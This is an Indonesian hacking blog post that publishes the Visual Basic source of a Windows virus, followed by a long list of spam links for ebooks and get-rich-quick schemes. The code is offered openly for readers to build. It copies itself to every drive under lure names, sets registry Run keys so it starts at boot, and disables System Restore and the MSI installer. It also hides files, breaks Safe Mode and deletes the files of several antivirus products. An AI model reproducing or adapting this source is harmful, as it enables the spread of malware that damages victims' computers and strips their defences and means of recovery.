kick "porn"
kick "sex"
kick "scandal"
kick "spy cam"
kick "SQ Evolution"
kick "Three Some"
kick "webcam show"
kick "xxx"
Call ganda
Call Racuni_Registry
Call proteksi_folder
End Sub
Private Sub Form_Load()
Y4D0Y666.Hide
App.TaskVisible = False
If App.PrevInstance Then End
'ganda di folder windows dengan nama dafault.bat
CopyFile App.Path & "\" & App.EXEName & ".exe", GetWindowsPath & "\" & "default.bat", 0
'ganda di system32 dengan nama login.exe dan autoexec.bat
CopyFile App.Path & "\" & App.EXEName & ".exe", GetSystemPath & "\" & "login.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", GetSystemPath & "\" & "autoexec.bat", 0
'ganda di mydocument dengan nama Kerispatih On Da Stage.exe
CopyFile App.Path & "\" & App.EXEName & ".exe", GetSpecialfolder(CSIDL_PERSONAL) & "\" & "KerisPatih On Da Stage.exe", 0
Call ganda
Call Racuni_Registry
Call proteksi_folder
Call Kill_antivirus
End Sub
Private Function Racuni_Registry()
On Error Resume Next
'Disable System Restore
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore", "DisableConfig", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore", "DisableSR", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows\Installer", "LimitSystemRestoreCheckpointing", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows\Installer", "DisableMSI", 1
'Ubah tipe file *.exe jadi Winamp media file
CreateStringValue HKEY_CLASSES_ROOT, "exefile", REG_SZ, "", "Winamp media file"
'Manipulasi Internet Explorer
CreateStringValue HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main\", REG_SZ, "Window Title", "..:: YaDoY666 [WuZ HeRe] ::.."
CreateStringValue HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main\", REG_SZ, "Start Page", GetSpecialfolder(CSIDL_PERSONAL) & "\" & "My Pictures\About.htm"
'auto run virus
CreateStringValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "User-Login", GetSystemPath & "login.exe"
CreateStringValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "Norton", GetWindowsPath & "default.bat"
'Disable Folder Options
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\", "NoFolderOptions", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\", "NoFolderOptions", 1
'atur registry agar file dengan yang disembunyikan tidak tampil
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "HideFileExt", 1
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "Hidden", 0
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "ShowSuperHidden", 0
CreateDwordValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "HideFileExt", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "Hidden", 0
CreateDwordValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "ShowSuperHidden", 0
'Atur registry agar tidak bisa masuk safe mode
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "dmboot.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "dmio.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "dmload.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "sermouse.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "sr.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "vga.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "vgasave.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "dmboot.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "dmiot.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "rdpcdd.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "rdpdd.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "rdpwd.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "sermouse.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "sr.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "tdpipe.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "tdtcp.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "vga.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "vgasave.sys"
End Function
Private Function ganda()
Dim ictr As Integer
Dim sAllDrives As String
Dim sDrive As String
sDrive = ""
For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If GetDriveType(sDrive) = 3 Or GetDriveType(sDrive) = 2 Then
CopyFile App.Path & "\" & App.EXEName & ".exe", sDrive & "I Love You.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", sDrive & "cewe_bandel.exe", 0
End If
Next
End Function
Private Sub Form_Unload(Cancel As Integer)
Shell GetSystemPath & "\" & "login.exe"
End Sub
Private Sub proteksi_folder()
On Error Resume Next
SetAttr GetWindowsPath, vbNormal
SetAttr GetWindowsPath & "\" & "desktop.ini", vbNormal
Kill GetWindowsPath & "\" & "desktop.ini"
Open GetWindowsPath & "\" & "desktop.ini" For Output As #1
Print #1, "[.ShellClassInfo]"
Print #1, "CLSID={C96401CC-0E17-11D3-885B-00C04F72C717}"
Close #1
SetAttr GetWindowsPath & "\" & "desktop.ini", vbHidden
SetAttr GetWindowsPath, vbSystem
End Sub
Sub Kill_antivirus()
On Error Resume Next
'bunuh antivirus Norman
If Folder_Exist("C:\Norman") = True Then
prog_AntiVir = Array( _
"C:\Norman\Bin", _
"C:\Norman\Download", _
"C:\Norman\Nse\Bin", _
"C:\Norman\Nvc\Bin", _
"C:\Norman\Nvc\Config", _
"C:\Norman\Qtn\Bin" _
)
SetAttr "C:\Norman", vbNormal
For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Norman"
End If
'bunuh antivirus Norman kalo ada di dalam direcktory Program Files
If Folder_Exist("C:\Program Files\Norman") = True Then
prog_AntiVir = Array( _
"C:\Program Files\Norman\Bin", _
"C:\Program Files\Norman\Download", _
"C:\Program Files\Norman\Nse\Bin", _
"C:\Program Files\Norman\Nvc\Bin", _
"C:\Program Files\Norman\Nvc\Config", _
"C:\Program Files\Norman\Qtn\Bin" _
)
SetAttr "C:\Program Files\Norman", vbNormal
For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Program Files\Norman"
End If
'bunuh antivirus McAfee
If Folder_Exist("C:\Program Files\McAfee") = True Then
prog_AntiVir = Array( _
"C:\Program Files\McAfee\McAfee Firewall", _
"C:\Program Files\McAfee\McAfee VirusScan", _
"C:\Program Files\McAfee\McAfee VirusScan\Backups\DatBackup", _
"C:\Program Files\McAfee\McAfee VirusScan\Backups\EngineBackup", _
"C:\Program Files\McAfee\McAfee VirusScan\Res00", _
"C:\Program Files\McAfee\VirusScan Wireless" _
)
SetAttr "C:\Program Files\McAfee", vbNormal
For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Program Files\McAfee"
End If
'bunuh antivirus McAfee
If Folder_Exist("C:\Program Files\Kaspersky Lab") = True Then
prog_AntiVir = Array( _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro", _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro\Policy", _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro\Report", _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro\Infected" _
)
SetAttr "C:\Program Files\Kaspersky Lab", vbNormal
For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.vxd"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Program Files\Kaspersky Lab"
End If
End Sub
Module BUNUH
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Const WM_CLOSE = &H10
Public Function kick(target As String)
Dim H As Long
Dim T As String * 255
H = GetForegroundWindow
GetWindowText H, T, 255
If InStr(UCase(T), UCase(target)) > 0 Then
SendMessage H, WM_CLOSE, 0, 0
End If
End Function
Module FILE
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long
Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long
Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Public Declare Function DeleteFile Lib "kernel32.dll" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Public Const FILE_ATTRIBUTE_SYSTEM = &H4
Public Const FILE_ATTRIBUTE_READONLY = &H1
Public Const FILE_ATTRIBUTE_HIDDEN = &H2
Public Const FILE_ATTRIBUTE_DIRECTORY = &H10
Public Const FILE_ATTRIBUTE_ARCHIVE = &H20
Public Const FILE_ATTRIBUTE_NORMAL = &H80
Public Type SHITEMID
cb As Long
abID As Byte
End Type
Public Type ITEMIDLIST
mkid As SHITEMID
End Type
Public Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Enum SFolder
CSIDL_DESKTOP = &H0 'menunjukkan folder virtual yang menyatakan root untuk semua namespace (/Desktop)
CSIDL_PROGRAMS = &H2 'menunjukkan folder sistem yang berisi grup program user (/Programs)
CSIDL_CONTROLS = &H3 'menunjukkan folder virtual yang berisi ikon-ikon aplikasi Control Panel (/Control Panel)
CSIDL_PRINTERS = &H4 'menunukkan folder virtual yang berisi printer-printer yang diinstall (/Printers)
CSIDL_PERSONAL = &H5 'menunjukkan folder sistem yang digunakan untuk menyimpan dokumen umum user (/My Document)
CSIDL_FAVORITES = &H6 'menunjukkan folder yang berisi item-item favorite user (/Favorites)
CSIDL_STARTUP = &H7 'menunjukkan folder yang berisi grup program StartUp user (/Startup)
CSIDL_RECENT = &H8 'menunjukkan folder sistem yang berisi dokumen-dokumen yang sering digunakan (/Recent)
CSIDL_SENDTO = &H9 'menunjukkan folder yang berisi item menu Send To (/Send To)
CSIDL_BITBUCKET = &HA 'menunjukkan folder sistem yang berisi objek file pada RecycleBin user (/Recycle Bin)
CSIDL_STARTMENU = &HB 'menunjukkan folder sistem yang berisi item-item menu Start (/StartMenu)
CSIDL_DESKTOPDIRECTORY = &H10 'menunjukkan folder sistem yang dapatkan digunakan untuk menyimpan objek file secara fisik pada desktop
CSIDL_DRIVES = &H11 'menunjukkan folder yang berisi segala sesuatu pada komputer lokal (/My Computer)
CSIDL_NETWORK = &H12 'menunjukkan folder yang berisi objek link yang kemungkinan ada pda folder virtual My Network Places (/My Network Places)
CSIDL_NETHOOD = &H13 'menunjukkan folder yang menyatakan root dari hierarki namespace network (/NetHood)
CSIDL_FONTS = &H14 'menunjukkan folder yang berisikan font (/FONT)
CSIDL_TEMPLATES = &H15 'menunjukkan folder yang digunakan untuk menyimpan dokumen template (/Template)
End Enum
'Get special folder
Public Function GetSpecialfolder(JenisFolder As SFolder) As String
Dim r As Long
Dim IDL As ITEMIDLIST
'get special folder
r = SHGetSpecialFolderLocation(100, JenisFolder, IDL)
If r = NOERROR Then
'create buffer
Path$ = Space$(512)
'Get path from IDList(IDL)
r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
'Remove chr$(0)
GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) - 1)
Exit Function
End If
GetSpecialfolder = ""
End Function
'Get System Path
Public Function GetSystemPath() As String
On Error Resume Next
Dim Buffer As String * 255
Dim x As Long
x = GetSystemDirectory(Buffer, 255)
GetSystemPath = Left(Buffer, x) & "\"
End Function
'Get Windows Path
Public Function GetWindowsPath() As String
On Error Resume Next
Dim Buffer As String * 255
Dim x As Long
x = GetWindowsDirectory(Buffer, 255)
GetWindowsPath = Left(Buffer, x) & "\"
End Function
Public Function Folder_Exist(ByVal strFolder As String) As Boolean
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
If InStr(1, Right$(strFolder, 5), ".") > 0 Then
strFolder = fso.GetParentFolderName(strFolder)
End If
If fso.FolderExists(strFolder) Then
Folder_Exist = True
Else
Folder_Exist = False
End If
Set fso = Nothing
End Function
Module Racuni_Registry
'Registry API
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Public Const REG_DWORD = 4
Enum REG
HKEY_CURRENT_USER = &H80000001
HKEY_CLASSES_ROOT = &H80000000
HKEY_CURRENT_CONFIG = &H80000005
HKEY_LOCAL_MACHINE = &H80000002
HKEY_USERS = &H80000003
End Enum
Enum TypeStringValue
REG_SZ = 1
REG_EXPAND_SZ = 2
REG_MULTI_SZ = 7
End Enum
'Create or Set Dword Value Registry
Public Function CreateDwordValue(hKey As REG, Subkey As String, strValueName As String, dwordData As Long) As Long
On Error Resume Next
Dim ret As Long
RegCreateKey hKey, Subkey, ret
CreateDwordValue = RegSetValueEx(ret, strValueName, 0, REG_DWORD, dwordData, 4)
RegCloseKey ret
End Function
Public Function CreateStringValue(hKey As REG, Subkey As String, RTypeStringValue As TypeStringValue, strValueName As String, strData As String) As Long
On Error Resume Next
Dim ret As Long
RegCreateKey hKey, Subkey, ret
CreateStringValue = RegSetValueEx(ret, strValueName, 0, RTypeStringValue, ByVal strData, Len(strData))
RegCloseKey ret
End Function
Public Function DeleteValue(hKey As REG, Subkey As String, lpValName As String) As Long
Dim ret As Long
On Error Resume Next
RegOpenKey hKey, Subkey, ret
DeleteValue = RegDeleteValue(ret, lpValName)
RegCloseKey ret
End Function
Module Restart
Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Public Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Public Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LUID) As Long
Public Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Public Declare Function GetCurrentProcess Lib "kernel32" () As Long
Public Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long
Public Const EWX_FORCE = 4
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Const VER_PLATFORM_WIN32_NT = 2
Public Const ANYSIZE_ARRAY = 1
Public Const TOKEN_ADJUST_PRIVILEGES = &H20
Public Const TOKEN_QUERY = &H8
Public Const SE_PRIVILEGE_ENABLED = &H2
Public Type LUID
LowPart As Long
HighPart As Long
End Type
Public Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type
Public Type TOKEN_PRIVILEGES
PrivilegeCount As Long
Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type
Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
'Reboot Windows(Not WinNT)
Public Function Reboot() As Long
'On Error Resume Next
LogOff = ExitWindowsEx(EWX_FORCE Or EWX_REBOOT, 0)
End Function
'Shutdown Windows(Not WinNT)
Public Function Shutdown() As Long
'On Error Resume Next
LogOff = ExitWindowsEx(EWX_FORCE Or EWX_SHUTDOWN, 0)
End Function
'Detection WinNT
Public Function IsWinNT() As Boolean
'On Error Resume Next
Dim myOS As OSVERSIONINFO
myOS.dwOSVersionInfoSize = Len(myOS)
GetVersionEx myOS
IsWinNT = (myOS.dwPlatformId = VER_PLATFORM_WIN32_NT)
End Function
'For Get Privileges from Win NT
Public Sub EnableShutDown()
'On Error Resume Next
Dim hProc As Long
Dim hToken As Long
Dim mLUID As LUID
Dim mPriv As TOKEN_PRIVILEGES
Dim mNewPriv As TOKEN_PRIVILEGES
hProc = GetCurrentProcess()
OpenProcessToken hProc, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY, hToken
LookupPrivilegeValue "", "SeShutdownPrivilege", mLUID
mPriv.PrivilegeCount = 1
mPriv.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
mPriv.Privileges(0).pLuid = mLUID
'Setting Privileges windows NT
AdjustTokenPrivileges hToken, False, mPriv, 4 + (12 * mPriv.PrivilegeCount), mNewPriv, 4 + (12 * mNewPriv.PrivilegeCount)
End Sub
' Reboot For WinNT
Public Sub RebootNT(Force As Boolean)
Dim Flags As Long
Flags = EWX_REBOOT
If Force Then Flags = Flags + EWX_FORCE
If IsWinNT Then EnableShutDown
ExitWindowsEx Flags, 0
End Sub
' Shutdown For WinNT
Public Sub ShutdownNT(Force As Boolean)
Dim Flags As Long
Flags = EWX_SHUTDOWN
If Force Then Flags = Flags + EWX_FORCE
If IsWinNT Then EnableShutDown
ExitWindowsEx Flags, 0
End Sub
Untuk virus ni anda membutuhkan 1 form dan 4 Module. Untuk lebih jelasnya silahkan anda lihat coding berikut ini:
By YOGYAFREE XCODE
Posted by : dELiozart on | Labels: Berita, Hacking, Tips nTrik, Windows | 0 Comments
BURUAN Download Ebook GRATIS bERIKUT INI
BURUAN Download Ebook GRATIS bERIKUT INI!!!
------------------------------------------
Ebook Formula Rahasia Metode Mencari Uang di Internet
Sebuah 'metode sederhana' yg telah mengubah saya menjadi Milyuner!
http://ebooksuper.110mb.com/banjir-uang-dari-internet.zip
Paket Ebook "Killer" Yang Harus Anda Miliki
Jika Anda Ingin Menjadi Pria Idaman yang di Gilai Setiap Wanita
Atau Agar bisa SEGERA Keluar dari Status Jomblo Anda. Download disini
http://ebooksuper.110mb.com/ebook-rahasia-pria-idaman-wanita.zip
Ternyata TIDAK PERLU Harus NGANTENG & KAYA untuk menjadi
Pria Idaman yang di gilai Setiap Wanita.Selengkapnya download disini!
http://priaidaman.110mb.com/ebook-rahasia-pria-idaman-wanita.zip
PENGAKUAN NIKMAT SANG WANITA. Sebuah ebook Yang perlu dipelajari
oleh para lelaki agar bisa mengerti dan tahu bagaimana caranya
dapat memberikan kepuasan dan yang di ingingkan setiap Wanita
http://priaidaman.110mb.com/PENGAKUAN-NIKMAT-SANG-WANITA.PDF
http://ebooksuper.110mb.com/PENGAKUAN-NIKMAT-SANG-WANITA.PDF
EBOOK KOMPLIT, PANDUAN KUMPULAN BISNIS KOMPLIT, TIPS, TRICKS,
STUDI KASUS, PENGALAMAN, STRATEGI BERINVESTASI DENGAN EFEKTIF,
25 RAHASIA BESAR MEMPEROLEH KEKAYAAN!!,
PLUS 100 EBOOK BONUS PALING DIMINATI!!
http://ebooksuper.110mb.com/ebookkomplit.zip
EBOOK SUPER. KOLEKSI TERLENGKAP RIBUAN EBOOK/BUKU DIGITAL
INDONESIA TERLENGKAP + SCRIPTS, TOOLS & SOFTWARE FANTASTIS
http://ebooksuper.110mb.com/ribuan-ebook.zip
Download Ebook BELAJAR JADI PENGGUSAHA
Ebook BELAJAR JADI PENGGUSAHA
http://belajarjadipengusaha.blogspot.com
2 buah EBOOK BELAJAR JADI PENGGUSAHA berikut ini:
DAFTAR ISI EBOOK 1
Berani Mencoba
Berani Merantau
Berani Gaga
Berani Sukses
Sulit Untuk Memulai
Entrepreneur University
Kecerdasan Emosional Entrepreneur
Emosi Dalam Bisnis
Menyelaraskan Otak Berfikir & Otak Emosional
Otak Kanan Itu Semakin Penting
Pengusaha "Climber"
"Ngundung", mengapa tidak?
Entrepreneur Kreatif
Motivasi di Tengah Kekacauan
Optimisme Entrepreneur
Saya Dicap "Orang Gila"
Boss Bukan Pemimpin
Pemimpin Bukan Manager
"Dan"
Egaliter Itu Perlu
Jadi Pemimpin atau Bawahan
Manager Berjiwa Entrepreneur
Banyak Melayani Banyak Rejeki
Banyak Sumber Penghasilan
Berani Nyumbang Berani Investasi
Mengambil Keputusan
Jamming
Paradigma Bisnis Di Era Millenium
Hobi Bisnis Pekerjaan Golf
Manajemen Padang
Manajemen Sari Bundo
Club The Fish Market
No Tipping, No Bakpia
Bisnis Mbah MO
Tak Suka Bisnis Besar
Berkembang Dengan Franchise
Belajar Dari Bank Mega
Nyontek bisnis sah-sah saja
Mega Entrepreneur
Jadi Pengusaha Tanpa Gelar
Tanpa Ujian Tanpa Nilai
Diwisuda Setelah Jadi Pengusaha
Praktek Mancing, Praktek Bisnis
Dari Rano Karno sampai 'Raja' Tempe
Bisnis, Belum Dianggap Bekerja
Agent Franchise
Bekerja Sambil Berbisnis
Investor dan Uang Sekolah
Diam atau Bergerak ?
Membuka Warung Nasi, Peluang Usaha Di Kantong Mahasiswa
Berburu Kios di Mall
Membeli Kios di Mall JaCC Dgn Kartu Belanja Carrefour
Maju Mundur Dalam Berwirausaha
EU Membuat Saya Lebih Gila
Lebih Dekat Dengan Butik dan Penjahit Serasi Ciomas
Keberuntungan Erry Di Telapak Wanita
Jurus Ampuh Sarang Laba-laba
Donat Tak Selamanya Bolong
Terminal Tiket Semua Tiket Pesawat Ada Di Sini
Mimpi, Kenyataan dan Syukur
Memulai Lagi Dari NOL di Jakarta
Belajar Terus Untuk Memajukan Bisnis
Mendalam atau Melebar? Konsep Memperbesar Omzet
DAFTAR ISI EBOOK 2
MIMPI JADI ENTREPRENEUR2
MENJADI ENTREPRENEUR, SEMUA BISA
MANAGER YANG BERJIWA ENTREPRENEUR
GAGAL KULIAH, JADILAH ENTREPRENEUR
BERANI DULU, BARU TRAMPIL
KAYA IDE, MISKIN KEBERANIAN
PELUANG BISNIS DI SEKITAR
BUKAN MELULU KARENA UANG
MEMULAI BISNIS BARU
MEMULAI BISNIS TANPA UANG TUNAI
MITOS HUTANG
BERHUTANG ITU MULIA
JANGAN JADI PENGUSAHA KLIEN
BELAJAR BISNIS SAMBIL JALAN
PROSES KREATIF BERWIRAUSAHA
KEBERANIAN ENTREPRENEUR WANITA
KEBERUNTUNGAN DAN TIMING
SUKSES ITU BIKIN "PEDE"
REJEKI ITU BISA DIRENCANAKAN
SUKSES ITU GURU YANG JELEK
KARIR ENTREPRENEUR
BISNIS KELUARGA
JIKA ANAK INGIN BISNIS
BODOL, BOTOL, DAN BOBOL
MAU BIKIN APA LAGI
BANGUN BISNIS, BELI PROPERTI
SETELAH PENSIUN, MAU APA?
MALU MEMASAK, SESAT DALAM BERBISNIS !
JADI RAJA PROPERTY DENGAN JUAL RUMAH SENDIRI
DAYA UNGKIT BISNIS
VIRUS ENTREPRENEUR
JADI PENGUSAHA TAK HARUS PINTAR
KAYA ITU MIMPI
BELAJAR MANDIRI DENGAN BUKA USAHA
2 Ebook ini merupakan bonus ebook yg bisa anda dapatkan di
http://ebooksuper.110mb.com
SALAM SUKSES
http://belajarjadipengusaha.blogspot.com
("`-''-/").___..--''"`-._
`6_ 6 ) `-. ( ).`-.__.`)
(_Y_.)' ._ ) `._ `. ``-..-'
_..`--'_..-_/ /--'_.' ,'
(il),-'' (li),' ((!.-'
Quote:
"Apa yang membedakan Anda dengan orang lain yang sukses?"
Jawabannya karena Anda tidak mengerjakan apa yang orang sukses kerjakan.
Karena Anda juga sering melepaskan Kesempatan yg muncul didepan Mata
FORMULA RAHASIA dapat INCOME Rutin Rp 200 JUTA PERBULAN
http://formulabisnisajaib.blogspot.com
INFO PELUANG BISNIS + 25 RAHASIA BESAR MEMPEROLEH KEKAYAAN
http://bisnistop.110mb.com
KOLEKSI RIBUAN EBOOK/BUKU DIGITAL INDONESIA TERLENGKAP
http://ebooksuper.110mb.com
http://ebooksuper.blogspot.com
Kiat Menjadi Cowok Idaman Dan Dikejar-kejar Cewek
http://priaidaman.110mb.com
Dana Hibah Untuk Semua dari Jutawan Sukses
http://jutawansukseskaya.blogspot.com
Bagaimana Menarik Lebih Banyak Uang ke Kantong Anda
http://mesinuangcerdas.blogspot.com
Bagaimana Mewujudkan Apapun yang Anda Inginkan Dalam Hidup
http://bisnistop.110mb.com/wujudkan/
Resep Rahasia Dibalik Kesuksesan Kaum Kaya
http://keuanganpribadiku.blogspot.com
Rahasia SUKSES Melamar Pekerjaan
http://wawan-ebook.110mb.com/kerja/
Rahasia Bagaimana Menarik Lebih Banyak Uang ke Kantong Anda
http://mesinuangcerdas.blogspot.com
Mengelola Keuangan dan Melipatgandakan Kekayaan dengan Kecerdasan Spiritual
http://keberkahanfinansial.blogspot.com
Rahasia Sukses Melamar Pekerjaan
http://lowongankerjamenarik.blogspot.com
Strategis JITU & AJAIB Kalahkan Pesaing dalam MEREBUT LOWONGAN KERJA
http://lowongankerjamenarik.blogspot.com
EBOOK BISNIS TERLENGKAP
http://ebookbisnislengkap.blogspot.com
Formula Rahasia Internet Yang Harus Anda Miliki
http://formularahasiajitu.blogspot.com
Panduan CERDAS Cara menjadi KAYA
http://cerdasdankaya.blogspot.com
Resep Rahasia Kaum Kaya
http://rahasiauangdankekayaan.blogspot.com
Obral Gila2an RIBUAN EBOOK TERLENGKAP
http://wawan-ebook.110mb.com/
SOLUSI AMPUH MASALAH SEKS SUAMI ISTRI
http://solusi-sex-suami-istri.blogspot.com
